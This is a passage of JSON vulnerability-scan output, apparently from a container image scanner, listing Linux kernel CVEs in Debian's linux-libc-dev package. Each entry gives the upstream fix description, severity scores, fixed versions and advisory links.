2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31399", "https://git.kernel.org/linus/a8aec14230322ed8f1e8042b6d656c1631d41163%20%287.0-rc5%29", "https://git.kernel.org/stable/c/2c638259ad750833fd46a0cf57672a618542d84c", "https://git.kernel.org/stable/c/6fc36c2a925ceaba203eb13d75a8f0879a2c121b", "https://git.kernel.org/stable/c/84af19855d1abdee3c9d57c0684e2868e391793c", "https://git.kernel.org/stable/c/9a0fb16ba5b372465a3a1ecd761c6fa911a4ab4d", "https://git.kernel.org/stable/c/a226e5b49e5fe8c98b14f8507de670189d191348", "https://git.kernel.org/stable/c/a36cf138500e56f50db9f9a33222df6969b38326", "https://git.kernel.org/stable/c/a8aec14230322ed8f1e8042b6d656c1631d41163", "https://git.kernel.org/stable/c/e48bf8f1d2b12c1c5ba1f609edbd4cde5dadc20e", "https://linux.oracle.com/cve/CVE-2026-31399.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026040326-CVE-2026-31399-9b84@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31399", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31399" ], "PublishedDate": "2026-04-03T16:16:38.41Z", "LastModifiedDate": "2026-11-05T22:18:28.6Z" }, { "VulnerabilityID": "CVE-2026-31402", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31402", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:05f917c044c89f92fd9fa551437d53c0fa36be3c8345ec18f2046fe5dbaf51a7", "Title": "kernel: nfsd: fix heap overflow in NFSv4.0 LOCK replay cache", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: fix heap overflow in NFSv4.0 LOCK replay cache\n\nThe NFSv4.0 replay cache uses a fixed 112-byte inline buffer\n(rp_ibuf[NFSD4_REPLAY_ISIZE]) to store encoded operation responses.\nThis size was calculated based on OPEN responses and does not account\nfor LOCK denied responses, which include the conflicting lock owner as\na variable-length field up to 1024 bytes (NFS4_OPAQUE_LIMIT).\n\nWhen a LOCK operation is denied due to a conflict with an existing lock\nthat has a large owner, nfsd4_encode_operation() copies the full encoded\nresponse into the undersized replay buffer via read_bytes_from_xdr_buf()\nwith no bounds check. This results in a slab-out-of-bounds write of up\nto 944 bytes past the end of the buffer, corrupting adjacent heap memory.\n\nThis can be triggered remotely by an unauthenticated attacker with two\ncooperating NFSv4.0 clients: one sets a lock with a large owner string,\nthen the other requests a conflicting lock to provoke the denial.\n\nWe could fix this by increasing NFSD4_REPLAY_ISIZE to allow for a full\nopaque, but that would increase the size of every stateowner, when most\nlockowners are not that large.\n\nInstead, fix this by checking the encoded response length against\nNFSD4_REPLAY_ISIZE before copying into the replay buffer. If the\nresponse is too large, set rp_buflen to 0 to skip caching the replay\npayload. The status is still cached, and the client already received the\ncorrect response on the original request.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:10108", "https://access.redhat.com/errata/RHSA-2026:11313", "https://access.redhat.com/errata/RHSA-2026:13565", "https://access.redhat.com/errata/RHSA-2026:13566", "https://access.redhat.com/errata/RHSA-2026:13577", "https://access.redhat.com/errata/RHSA-2026:13578", "https://access.redhat.com/errata/RHSA-2026:13664", "https://access.redhat.com/errata/RHSA-2026:13681", "https://access.redhat.com/errata/RHSA-2026:13734", "https://access.redhat.com/errata/RHSA-2026:13936", "https://access.redhat.com/errata/RHSA-2026:14137", "https://access.redhat.com/errata/RHSA-2026:14165", "https://access.redhat.com/errata/RHSA-2026:14301", "https://access.redhat.com/errata/RHSA-2026:14823", "https://access.redhat.com/errata/RHSA-2026:14869", "https://access.redhat.com/errata/RHSA-2026:14925", "https://access.redhat.com/errata/RHSA-2026:15883", "https://access.redhat.com/errata/RHSA-2026:19568", "https://access.redhat.com/errata/RHSA-2026:19569", "https://access.redhat.com/errata/RHSA-2026:36530", "https://access.redhat.com/errata/RHSA-2026:36531", "https://access.redhat.com/errata/RHSA-2026:36532", "https://access.redhat.com/errata/RHSA-2026:36533", "https://access.redhat.com/errata/RHSA-2026:36534", "https://access.redhat.com/security/cve/CVE-2026-31402", "https://bugzilla.redhat.com/2394648", "https://bugzilla.redhat.com/2425046", "https://bugzilla.redhat.com/2429602", "https://bugzilla.redhat.com/2432389", "https://bugzilla.redhat.com/2432400", "https://bugzilla.redhat.com/2439852", "https://bugzilla.redhat.com/2439931", "https://bugzilla.redhat.com/2448745", "https://bugzilla.redhat.com/2453803", "https://bugzilla.redhat.com/2454844", "https://bugzilla.redhat.com/2461107", "https://bugzilla.redhat.com/2461521", "https://bugzilla.redhat.com/2467059", "https://bugzilla.redhat.com/2467144", "https://bugzilla.redhat.com/2467771", "https://bugzilla.redhat.com/2477015", "https://bugzilla.redhat.com/2477802", "https://bugzilla.redhat.com/show_bug.cgi?id=2394648", "https://bugzilla.redhat.com/show_bug.cgi?id=2425046", "https://bugzilla.redhat.com/show_bug.cgi?id=2429602", "https://bugzilla.redhat.com/show_bug.cgi?id=2432389", "https://bugzilla.redhat.com/show_bug.cgi?id=2432400", "https://bugzilla.redhat.com/show_bug.cgi?id=2439852", "https://bugzilla.redhat.com/show_bug.cgi?id=2439931", "https://bugzilla.redhat.com/show_bug.cgi?id=2448745", "https://bugzilla.redhat.com/show_bug.cgi?id=2453803", "https://bugzilla.redhat.com/show_bug.cgi?id=2454844", "https://bugzilla.redhat.com/show_bug.cgi?id=2461107", "https://bugzilla.redhat.com/show_bug.cgi?id=2461521", "https://bugzilla.redhat.com/show_bug.cgi?id=2467059", "https://bugzilla.redhat.com/show_bug.cgi?id=2467144", "https://bugzilla.redhat.com/show_bug.cgi?id=2467771", "https://bugzilla.redhat.com/show_bug.cgi?id=2477015", "https://bugzilla.redhat.com/show_bug.cgi?id=2477802", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39766", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22990", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23401", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31532", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31607", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43163", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43284", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46333", "https://errata.almalinux.org/9/ALSA-2026-19568.html", "https://errata.rockylinux.org/RLSA-2026:19568", "https://git.kernel.org/linus/5133b61aaf437e5f25b1b396b14242a6bb0508e2%20%287.0-rc5%29", "https://git.kernel.org/stable/c/0f0e2a54a31a7f9ad2915db99156114872317388", "https://git.kernel.org/stable/c/2665887a69437a8a4f552f69509eecfb73d4aa19", "https://git.kernel.org/stable/c/5133b61aaf437e5f25b1b396b14242a6bb0508e2", "https://git.kernel.org/stable/c/8afb437ea1f70cacb4bbdf11771fb5c4d720b965", "https://git.kernel.org/stable/c/ae8498337dfdfda71bdd0b807c9a23a126011d76", "https://git.kernel.org/stable/c/c9452c0797c95cf2378170df96cf4f4b3bca7eff", "https://git.kernel.org/stable/c/dad0c3c0a8e5d1d6eb0fc455694ce3e25e6c57d0", "https://git.kernel.org/stable/c/f9fcb4441f6c02bb20c2eb340101e27dfe23607c", "https://linux.oracle.com/cve/CVE-2026-31402.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026040327-CVE-2026-31402-3e6a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31402", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-31402.json", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8501-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8529-1", "https://ubuntu.com/security/notices/USN-8529-2", "https://ubuntu.com/security/notices/USN-8530-1", "https://ubuntu.com/security/notices/USN-8530-2", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://ubuntu.com/security/notices/USN-8548-1", "https://ubuntu.com/security/notices/USN-8548-2", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8615-1", "https://ubuntu.com/security/notices/USN-8615-2", "https://ubuntu.com/security/notices/USN-8616-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8635-1", "https://ubuntu.com/security/notices/USN-8667-1", "https://www.cve.org/CVERecord?id=CVE-2026-31402" ], "PublishedDate": "2026-04-03T16:16:39.283Z", "LastModifiedDate": "2026-10-19T19:17:51.35Z" }, { "VulnerabilityID": "CVE-2026-31419", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31419", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d3d8c4dabfe12cb7fa03d2565ade44598582a2512deae34dffe28687d66c70d9", "Title": "kernel: Linux kernel: Use-after-free in bonding driver leads to denial of service", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: bonding: fix use-after-free in bond_xmit_broadcast()\n\nbond_xmit_broadcast() reuses the original skb for the last slave\n(determined by bond_is_last_slave()) and clones it for others.\nConcurrent slave enslave/release can mutate the slave list during\nRCU-protected iteration, changing which slave is \"last\" mid-loop.\nThis causes the original skb to be double-consumed (double-freed).\n\nReplace the racy bond_is_last_slave() check with a simple index\ncomparison (i + 1 == slaves_count) against the pre-snapshot slave\ncount taken via READ_ONCE() before the loop. This preserves the\nzero-copy optimization for the last slave while making the \"last\"\ndetermination stable against concurrent list mutations.\n\nThe UAF can trigger the following crash:\n\n==================================================================\nBUG: KASAN: slab-use-after-free in skb_clone\nRead of size 8 at addr ffff888100ef8d40 by task exploit/147\n\nCPU: 1 UID: 0 PID: 147 Comm: exploit Not tainted 7.0.0-rc3+ #4 PREEMPTLAZY\nCall Trace:\n \u003cTASK\u003e\n dump_stack_lvl (lib/dump_stack.c:123)\n print_report (mm/kasan/report.c:379 mm/kasan/report.c:482)\n kasan_report (mm/kasan/report.c:597)\n skb_clone (include/linux/skbuff.h:1724 include/linux/skbuff.h:1792 include/linux/skbuff.h:3396 net/core/skbuff.c:2108)\n bond_xmit_broadcast (drivers/net/bonding/bond_main.c:5334)\n bond_start_xmit (drivers/net/bonding/bond_main.c:5567 drivers/net/bonding/bond_main.c:5593)\n dev_hard_start_xmit (include/linux/netdevice.h:5325 include/linux/netdevice.h:5334 net/core/dev.c:3871 net/core/dev.c:3887)\n __dev_queue_xmit (include/linux/netdevice.h:3601 net/core/dev.c:4838)\n ip6_finish_output2 (include/net/neighbour.h:540 include/net/neighbour.h:554 net/ipv6/ip6_output.c:136)\n ip6_finish_output (net/ipv6/ip6_output.c:208 net/ipv6/ip6_output.c:219)\n ip6_output (net/ipv6/ip6_output.c:250)\n ip6_send_skb (net/ipv6/ip6_output.c:1985)\n udp_v6_send_skb (net/ipv6/udp.c:1442)\n udpv6_sendmsg (net/ipv6/udp.c:1733)\n __sys_sendto (net/socket.c:730 net/socket.c:742 net/socket.c:2206)\n __x64_sys_sendto (net/socket.c:2209)\n do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)\n entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)\n \u003c/TASK\u003e\n\nAllocated by task 147:\n\nFreed by task 147:\n\nThe buggy address belongs to the object at ffff888100ef8c80\n which belongs to the cache skbuff_head_cache of size 224\nThe buggy address is located 192 bytes inside of\n freed 224-byte region [ffff888100ef8c80, ffff888100ef8d60)\n\nMemory state around the buggy address:\n ffff888100ef8c00: fb fb fb fb fc fc fc fc fc fc fc fc fc fc fc fc\n ffff888100ef8c80: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n\u003effff888100ef8d00: fb fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc\n ^\n ffff888100ef8d80: fc fc fc fc fc fc fc fc fa fb fb fb fb fb fb fb\n ffff888100ef8e00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n==================================================================", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-362" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:13566", "https://access.redhat.com/errata/RHSA-2026:19521", "https://access.redhat.com/errata/RHSA-2026:21209", "https://access.redhat.com/errata/RHSA-2026:22334", "https://access.redhat.com/errata/RHSA-2026:22900", "https://access.redhat.com/errata/RHSA-2026:22940", "https://access.redhat.com/errata/RHSA-2026:23224", "https://access.redhat.com/errata/RHSA-2026:25191", "https://access.redhat.com/errata/RHSA-2026:25217", "https://access.redhat.com/errata/RHSA-2026:27353", "https://access.redhat.com/errata/RHSA-2026:27354", "https://access.redhat.com/errata/RHSA-2026:35870", "https://access.redhat.com/errata/RHSA-2026:36172", "https://access.redhat.com/errata/RHSA-2026:36530", "https://access.redhat.com/errata/RHSA-2026:36531", "https://access.redhat.com/errata/RHSA-2026:36532", "https://access.redhat.com/errata/RHSA-2026:36533", "https://access.redhat.com/errata/RHSA-2026:36534", "https://access.redhat.com/security/cve/CVE-2026-31419", "https://bugzilla.redhat.com/2440630", "https://bugzilla.redhat.com/2457829", "https://bugzilla.redhat.com/2460641", "https://bugzilla.redhat.com/2461471", "https://bugzilla.redhat.com/2464351", "https://bugzilla.redhat.com/2464449", "https://bugzilla.redhat.com/2467005", "https://bugzilla.redhat.com/2467234", "https://bugzilla.redhat.com/2480457", "https://bugzilla.redhat.com/2482166", "https://bugzilla.redhat.com/2482532", "https://bugzilla.redhat.com/show_bug.cgi?id=2440630", "https://bugzilla.redhat.com/show_bug.cgi?id=2457829", "https://bugzilla.redhat.com/show_bug.cgi?id=2460641", "https://bugzilla.redhat.com/show_bug.cgi?id=2461471", "https://bugzilla.redhat.com/show_bug.cgi?id=2464351", "https://bugzilla.redhat.com/show_bug.cgi?id=2464449", "https://bugzilla.redhat.com/show_bug.cgi?id=2467005", "https://bugzilla.redhat.com/show_bug.cgi?id=2467234", "https://bugzilla.redhat.com/show_bug.cgi?id=2480457", "https://bugzilla.redhat.com/show_bug.cgi?id=2482166", "https://bugzilla.redhat.com/show_bug.cgi?id=2482532", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23216", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31419", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31581", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43501", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45852", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46181", "https://errata.almalinux.org/9/ALSA-2026-25217.html", "https://errata.rockylinux.org/RLSA-2026:25217", "https://git.kernel.org/linus/2884bf72fb8f03409e423397319205de48adca16%20%287.0-rc7%29", "https://git.kernel.org/stable/c/00752893f96b344f258c9c6de18b33171ac4872c", "https://git.kernel.org/stable/c/060d83bb6147c36fc21134d5b332d266b8c176bc", "https://git.kernel.org/stable/c/2884bf72fb8f03409e423397319205de48adca16", "https://git.kernel.org/stable/c/2de5c8eea0a9db99dae7c36f4b541b74b41d3a04", "https://git.kernel.org/stable/c/a0f661918edc79d7a75e468128af8d41e2a1a83a", "https://git.kernel.org/stable/c/d4cc7e4c80b1634c7b1497574a2fdb18df6c026c", "https://git.kernel.org/stable/c/df690112b2172e8eb0f4dd8ec1019b65ee979203", "https://git.kernel.org/stable/c/f5b94654a4a19891a8108d66ef166de6c028c6cd", "https://linux.oracle.com/cve/CVE-2026-31419.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026041353-CVE-2026-31419-e176@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31419", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-31419.json", "https://ubuntu.com/security/notices/USN-8277-1", "https://ubuntu.com/security/notices/USN-8277-2", "https://ubuntu.com/security/notices/USN-8278-1", "https://ubuntu.com/security/notices/USN-8278-2", "https://ubuntu.com/security/notices/USN-8279-1", "https://ubuntu.com/security/notices/USN-8279-2", "https://ubuntu.com/security/notices/USN-8279-3", "https://ubuntu.com/security/notices/USN-8289-1", "https://ubuntu.com/security/notices/USN-8289-2", "https://ubuntu.com/security/notices/USN-8305-1", "https://ubuntu.com/security/notices/USN-8305-2", "https://ubuntu.com/security/notices/USN-8310-1", "https://ubuntu.com/security/notices/USN-8350-1", "https://ubuntu.com/security/notices/USN-8351-1", "https://ubuntu.com/security/notices/USN-8374-1", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8426-1", "https://ubuntu.com/security/notices/USN-8426-2", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8462-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://www.cve.org/CVERecord?id=CVE-2026-31419" ], "PublishedDate": "2026-04-13T14:16:11.447Z", "LastModifiedDate": "2026-10-30T13:18:39.26Z" }, { "VulnerabilityID": "CVE-2026-31431", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31431", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:28e7510e58bb23e913f9ab39c7357ccb1d10b290d5a49aebe6115e7778b2bd76", "Title": "kernel: crypto: algif_aead - Revert to operating out-of-place", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: algif_aead - Revert to operating out-of-place\n\nThis mostly reverts commit 72548b093ee3 except for the copying of\nthe associated data.\n\nThere is no benefit in operating in-place in algif_aead since the\nsource and destination come from different mappings. Get rid of\nall the complexity added for in-place operation and just copy the\nAD directly.", "Severity": "HIGH", "CweIDs": [ "CWE-669", "CWE-1288" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31431", "http://www.openwall.com/lists/oss-security/2026/04/29/23", "http://www.openwall.com/lists/oss-security/2026/04/29/25", "http://www.openwall.com/lists/oss-security/2026/04/29/26", "http://www.openwall.com/lists/oss-security/2026/04/30/10", "http://www.openwall.com/lists/oss-security/2026/04/30/11", "http://www.openwall.com/lists/oss-security/2026/04/30/12", "http://www.openwall.com/lists/oss-security/2026/04/30/14", "http://www.openwall.com/lists/oss-security/2026/04/30/15", "http://www.openwall.com/lists/oss-security/2026/04/30/16", "http://www.openwall.com/lists/oss-security/2026/04/30/17", "http://www.openwall.com/lists/oss-security/2026/04/30/18", "http://www.openwall.com/lists/oss-security/2026/04/30/2", "http://www.openwall.com/lists/oss-security/2026/04/30/20", "http://www.openwall.com/lists/oss-security/2026/04/30/5", "http://www.openwall.com/lists/oss-security/2026/04/30/6", "http://www.openwall.com/lists/oss-security/2026/05/01/10", "http://www.openwall.com/lists/oss-security/2026/05/01/12", "http://www.openwall.com/lists/oss-security/2026/05/01/15", "http://www.openwall.com/lists/oss-security/2026/05/01/16", "http://www.openwall.com/lists/oss-security/2026/05/01/17", "http://www.openwall.com/lists/oss-security/2026/05/01/18", "http://www.openwall.com/lists/oss-security/2026/05/01/2", "http://www.openwall.com/lists/oss-security/2026/05/01/22", "http://www.openwall.com/lists/oss-security/2026/05/01/23", "http://www.openwall.com/lists/oss-security/2026/05/01/24", "http://www.openwall.com/lists/oss-security/2026/05/01/3", "http://www.openwall.com/lists/oss-security/2026/05/02/14", "http://www.openwall.com/lists/oss-security/2026/05/02/15", "http://www.openwall.com/lists/oss-security/2026/05/02/16", "http://www.openwall.com/lists/oss-security/2026/05/02/17", "http://www.openwall.com/lists/oss-security/2026/05/02/18", "http://www.openwall.com/lists/oss-security/2026/05/02/19", "http://www.openwall.com/lists/oss-security/2026/05/02/20", "http://www.openwall.com/lists/oss-security/2026/05/02/21", "http://www.openwall.com/lists/oss-security/2026/05/02/23", "http://www.openwall.com/lists/oss-security/2026/05/02/24", "http://www.openwall.com/lists/oss-security/2026/05/02/25", "http://www.openwall.com/lists/oss-security/2026/05/02/4", "http://www.openwall.com/lists/oss-security/2026/05/02/5", "http://www.openwall.com/lists/oss-security/2026/05/02/6", "http://www.openwall.com/lists/oss-security/2026/05/02/7", "http://www.openwall.com/lists/oss-security/2026/05/02/8", "http://www.openwall.com/lists/oss-security/2026/05/03/10", "http://www.openwall.com/lists/oss-security/2026/05/03/12", "http://www.openwall.com/lists/oss-security/2026/05/03/13", "http://www.openwall.com/lists/oss-security/2026/05/03/3", "http://www.openwall.com/lists/oss-security/2026/05/03/4", "http://www.openwall.com/lists/oss-security/2026/05/03/5", "http://www.openwall.com/lists/oss-security/2026/05/03/6", "http://www.openwall.com/lists/oss-security/2026/05/04/1", "http://www.openwall.com/lists/oss-security/2026/05/04/10", "http://www.openwall.com/lists/oss-security/2026/05/04/11", "http://www.openwall.com/lists/oss-security/2026/05/04/12", "http://www.openwall.com/lists/oss-security/2026/05/04/13", "http://www.openwall.com/lists/oss-security/2026/05/04/14", "http://www.openwall.com/lists/oss-security/2026/05/04/2", "http://www.openwall.com/lists/oss-security/2026/05/04/24", "http://www.openwall.com/lists/oss-security/2026/05/04/27", "http://www.openwall.com/lists/oss-security/2026/05/04/28", "http://www.openwall.com/lists/oss-security/2026/05/04/29", "http://www.openwall.com/lists/oss-security/2026/05/04/31", "http://www.openwall.com/lists/oss-security/2026/05/04/8", "http://www.openwall.com/lists/oss-security/2026/05/04/9", "http://www.openwall.com/lists/oss-security/2026/05/06/5", "http://www.openwall.com/lists/oss-security/2026/05/07/12", "http://www.openwall.com/lists/oss-security/2026/05/07/2", "http://www.openwall.com/lists/oss-security/2026/05/08/13", "http://www.openwall.com/lists/oss-security/2026/05/18/3", "https://access.redhat.com/articles/7141989", "https://access.redhat.com/errata/RHSA-2026:13565", "https://access.redhat.com/errata/RHSA-2026:13566", "https://access.redhat.com/errata/RHSA-2026:13577", "https://access.redhat.com/errata/RHSA-2026:13578", "https://access.redhat.com/errata/RHSA-2026:13681", "https://access.redhat.com/errata/RHSA-2026:13690", "https://access.redhat.com/errata/RHSA-2026:13727", "https://access.redhat.com/errata/RHSA-2026:13729", "https://access.redhat.com/errata/RHSA-2026:13734", "https://access.redhat.com/errata/RHSA-2026:13811", "https://access.redhat.com/errata/RHSA-2026:13862", "https://access.redhat.com/errata/RHSA-2026:13885", "https://access.redhat.com/errata/RHSA-2026:13887", "https://access.redhat.com/errata/RHSA-2026:13932", "https://access.redhat.com/errata/RHSA-2026:13936", "https://access.redhat.com/errata/RHSA-2026:14097", "https://access.redhat.com/errata/RHSA-2026:14112", "https://access.redhat.com/errata/RHSA-2026:14137", "https://access.redhat.com/errata/RHSA-2026:14165", "https://access.redhat.com/errata/RHSA-2026:14230", "https://access.redhat.com/errata/RHSA-2026:14301", "https://access.redhat.com/errata/RHSA-2026:14339", "https://access.redhat.com/errata/RHSA-2026:14773", "https://access.redhat.com/errata/RHSA-2026:14926", "https://access.redhat.com/errata/RHSA-2026:15087", "https://access.redhat.com/errata/RHSA-2026:15976", 